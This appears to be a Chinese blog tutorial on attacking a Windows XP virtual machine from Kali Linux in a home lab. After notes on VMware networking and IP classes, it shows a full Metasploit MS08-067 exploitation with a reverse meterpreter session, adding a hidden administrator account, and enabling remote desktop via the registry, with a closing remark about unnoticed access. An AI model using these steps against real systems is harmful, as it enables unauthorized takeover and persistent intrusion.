kali入侵windows

因為我是一個愛好和平的人(捂嘴笑),所以就在虛擬機中,創建二個系統,一個kali,一個windows xp,來進行這次入侵實驗,以此邁入hacke的大門。


實驗環境

實驗環境.jpg

試驗工具

kaili linux 百度百科
其預裝了許多試驗工具,包括nmap 、Wireshark 、John the Ripper ,以及Aircrack-ng.[2] 用戶可通過硬盤、live CD或live USB運行Kali Linux。


Metasploit 百度百科
Metasploit是一個免費的、可下載的框架,通過它可以很容易地獲取、開發并對計算機軟件漏洞實施攻擊。它本身附帶數百個已知軟件漏洞的專業級漏洞攻擊工具。


知識點綜述

1.0 熟悉虛擬機vmware的相關知識,因為本環境是在VM中進行的,需要安裝kaili linux和windows xp,以及設計虛擬機網絡,其可以參考文章:vmware14.0知識點手冊.
2.0 計算機網絡相關知識點。
2.1 vmware的虛擬網絡

與物理交換機相似,虛擬交換機也能將網絡連接組件連接在一起。虛擬交換機又稱為虛擬網絡,其名稱為VMnet0、VMnet1、VMnet2,以此類推。有少量虛擬交換機會默認映射到特定網絡。

虛擬網絡適配器模型.jpg
虛擬網絡交換機.jpg

橋接模式網絡連接
橋接模式網絡連接通過使用主機系統上的網絡適配器將虛擬機連接到網絡

橋接.jpg

NAT 模式網絡連接
使用 NAT 模式網絡時,虛擬機在外部網絡中不必具有自己的 IP 地址。主機系統上會建立單獨的專用網絡。

NAT網絡.jpg

僅主機模式網絡連接
僅主機模式網絡連接可創建完全包含在主機中的網絡。

主機模式.jpg

2.2 IP(這里是ipv4)地址分類,網絡類型。

ip地址,由《net-id,host-id》二部分組成。根據網絡號的位數,把ip劃分為A,B,C,D,E幾大類,其中A類(0,127),B類(128,191),C類(192,223)

3.0 VMWare虛擬機提供的橋接、nat和主機模式的區別

所以本次試驗的虛擬機網絡采用橋接方式,所以主要介紹下橋接。

bridged(橋接模式)
在這種模式下,VMWare虛擬出來的操作系統就像是局域網中的一臺獨立的主機,它可以訪問網內任何一臺機器。
在橋接模式下,因為是獨立的主機系統,那么就需要為虛擬系統配置IP、子網掩碼。
使用橋接模式的虛擬系統和宿主機器的關系,就像連接在同一個Hub上的兩臺電腦。想讓它們相互通訊,你就需要為虛擬系統配置IP地址和子網掩碼,否則就無法通信。而且還要和宿主機器處于同一網段,這樣虛擬系統才能和宿主機器進行通信。


重要細節

1.0 因為在vmware模擬kaili入侵windows xp所以要保證這二臺虛擬機可以通信,試驗的vmware采用橋接網絡,二臺虛擬機相當于獨立的主機,在vmware想要通信,必須處于同一網段(就是網絡號要一樣),二臺主機設置kaili設置為192.168.201.133,windows xp設置為192.168.201.135,它們是C類ip,前3位是網絡號,都是192.168.201相同,可以通信,可以采用ping命令進行。
2.0 為了試驗效果明顯,最好關閉掉windows的防火墻,這樣入侵更容易,而且自己原本的主機把殺毒軟件也關閉了。


入侵開始

1.0 查看linux的ip地址

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.201.133  netmask 255.255.255.0  broadcast 192.168.201.255
        inet6 fe80::20c:29ff:fecc:87cf  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:cc:87:cf  txqueuelen 1000  (Ethernet)
        RX packets 30  bytes 2530 (2.4 KiB)
        RX errors 0  dropped 5  overruns 0  frame 0
        TX packets 51  bytes 3303 (3.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 52  bytes 3756 (3.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 52  bytes 3756 (3.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

這里可以看出我的ip地址為192.168.201.133。如果想要修改ip地址可以采用 ifconfig eth0 192.168.201.136 命令

其中127.0.0.1 127.0.0.1是回送地址,指本地機,一般用來測試使用。回送地址(127.x.x.x)是本機回送地址(Loopback Address),即主機IP堆棧內部的IP地址,主要用于網絡軟件測試以及本地機進程間通信,無論什么程序,一旦使用回送地址發送數據,協議軟件立即返回,不進行任何網絡傳輸。

2.0 ping命令,測試linux和windows是否可以通信

root@kali:~# ping -c 2 192.168.201.135
PING 192.168.201.135 (192.168.201.135) 56(84) bytes of data.
64 bytes from 192.168.201.135: icmp_seq=1 ttl=128 time=13.5 ms
64 bytes from 192.168.201.135: icmp_seq=2 ttl=128 time=0.395 ms

--- 192.168.201.135 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 0.395/6.986/13.578/6.592 ms

linux的ping和windows有所不同,如果不設置次數會一直ping下去。

root@kali:~# ping
Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination

3.0 開啟SQL數據庫服務

root@kali:~# service postgresql start 

4.0 終端執行msfconsole 命令

root@kali:~# msfconsole 
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v4.16.6-dev                          ]
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

使用help命令查看其參數和用法

msf > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    exit          Exit the console
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    history       Show command history
    irb           Drop into irb scripting mode
    load          Load a framework plugin
    quit          Exit the console
    route         Route traffic through a session
    save          Saves the active datastores
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    version       Show the framework and console library version numbers


Module Commands
===============

    Command       Description
    -------       -----------
    advanced      Displays advanced options for one or more modules
    back          Move back from the current context
    edit          Edit the current module with the preferred editor
    info          Displays information about one or more modules
    loadpath      Searches for and loads modules from a path
    options       Displays global options or for one or more modules
    popm          Pops the latest module off the stack and makes it active
    previous      Sets the previously loaded module as the current module
    pushm         Pushes the active or list of modules onto the module stack
    reload_all    Reloads all modules from all defined module paths
    search        Searches module names and descriptions
    show          Displays modules of a given type, or all modules
    use           Selects a module by name


Job Commands
============

    Command       Description
    -------       -----------
    handler       Start a payload handler as job
    jobs          Displays and manages jobs
    kill          Kill a job
    rename_job    Rename a job


Resource Script Commands
========================

    Command       Description
    -------       -----------
    makerc        Save commands entered since start to a file
    resource      Run the commands stored in a file


Database Backend Commands
=========================

    Command           Description
    -------           -----------
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces


Credentials Backend Commands
============================

    Command       Description
    -------       -----------
    creds         List all credentials in the database

5.0 運行search netapi命令搜索netapi,在metasploip框架中列出所有與netapi相關的漏洞利用代碼

msf > search  netapi

Matching Modules
================

   Name                                 Disclosure Date  Rank    Description
   ----                                 ---------------  ----    -----------
   exploit/windows/smb/ms03_049_netapi  2003-11-11       good    MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow
   exploit/windows/smb/ms06_040_netapi  2006-08-08       good    MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow
   exploit/windows/smb/ms06_070_wkssvc  2006-11-14       manual  MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great   MS08-067 Microsoft Server Service Relative Path Stack Corruption

可以看到最后一個漏洞利用代碼的評級為great,所以優先使用ms08_067_netapi。
show tagrgets可以查看攻擊平臺
show opinions可以查看攻擊需要設置那些參數
show payloads可以查看使用的攻擊載荷

6.0使用 use exploit/windows/smb/ms08_067_netapi ,設置參數

msf > use exploit/windows/smb/ms08_067_netapi 

msf exploit(ms08_067_netapi) > set rhost 192.168.201.135
rhost => 192.168.201.135
msf exploit(ms08_067_netapi) > check
[+] 192.168.201.135:445 The target is vulnerable.
msf exploit(ms08_067_netapi) > set lhost 192.168.201.133
lhost => 192.168.201.133
msf exploit(ms08_067_netapi) > set target 34
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp_allports 
payload => windows/meterpreter/reverse_tcp_allports

msf exploit(ms08_067_netapi) > exploit 
[*] Started reverse TCP handler on 192.168.201.133:1 
[*] 192.168.201.135:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179267 bytes) to 192.168.201.135
[*] Meterpreter session 1 opened (192.168.201.133:1 -> 192.168.201.135:1031) at 2017-10-27 23:03:20 +0800

set rhost是設置目標主機ip
setset lhost設置本機ip
set payload設置攻擊載荷
exploit,是實行攻擊,如果成功,會得到一個session,可以使用meterpreter模板進一步提取

7.0 輸入shell,獲取受控zhuji的shel,我這里是windows的dos。

meterpreter > shell
Process 1968 created.
Channel 1 created.
Microsoft Windows XP [錕芥本 5.1.2600]
(C) 錕斤拷權錕斤拷錕斤拷 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user ztg 123456 /add
net user ztg 123456 /add
錕絞伙拷錕窖撅拷錕斤拷錕節★拷

錕斤拷錕斤拷錕斤拷 NET HELPMSG 2224 錕皆伙拷錕矯革拷錕斤拷錕僥幫拷錕斤拷錕斤拷


C:\WINDOWS\system32>net localgroup administrators ztg /add
net localgroup administrators ztg /add
錕斤拷錕斤拷系統錕斤拷錕斤拷 1378錕斤拷

錕斤拷錕斤拷錕絞伙拷錕斤拷錕斤拷錕角憋拷錕斤拷錕斤拷錕僥籌拷員錕斤拷


C:\WINDOWS\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

錕斤拷錕斤拷錕繳癸拷錕斤拷錕斤拷

C:\WINDOWS\system32>netstat -an 
netstat -an 

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1026         0.0.0.0:0              LISTENING
  TCP    192.168.201.135:139    0.0.0.0:0              LISTENING
  TCP    192.168.201.135:1031   192.168.201.133:1      ESTABLISHED
  UDP    0.0.0.0:445            *:*                    
  UDP    0.0.0.0:500            *:*                    
  UDP    0.0.0.0:4500           *:*                    
  UDP    127.0.0.1:123          *:*                    
  UDP    127.0.0.1:1025         *:*                    
  UDP    127.0.0.1:1900         *:*                    
  UDP    192.168.201.135:123    *:*                    
  UDP    192.168.201.135:137    *:*                    
  UDP    192.168.201.135:138    *:*                    
  UDP    192.168.201.135:1900   *:*                    

C:\WINDOWS\system32>ipconfig -all
ipconfig -all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : dflx
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 錕斤拷錕斤拷錕斤拷錕斤拷:

        Connection-specific DNS Suffix  . : 
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-0C-29-04-23-53
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 192.168.201.135
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

進入windows界面,dos大神可以暢通無阻了,不過如果喜歡windows界面,可以安裝上面的方法,進行操作,在遠程桌面。

net user ztg 123456 /add

添加一個用戶名為ztg,密碼123456

C:\WINDOWS\system32>net localgroup administrators ztg /add
net localgroup administrators ztg /add

把ztg添加到管理員用戶組

C:\WINDOWS\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

是手動開啟3389(遠程桌面連接端口)


在利用遠程桌面,登陸別人的電腦,進行相關的操作了。告訴你一個小細節,在目標機中會出現你建立的管理員賬號喔,可以多少遠程登錄了,只要對方沒有發現。

有沒有人來黑我一下啊(捂嘴笑)。我的ip:127.0.0.1,系統是windows 10 64位家庭版。

哎,這幾天沒有跑步,今天早上終于跑了,感冒了一整個十月,現在還在感冒中,哭死,哭死。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容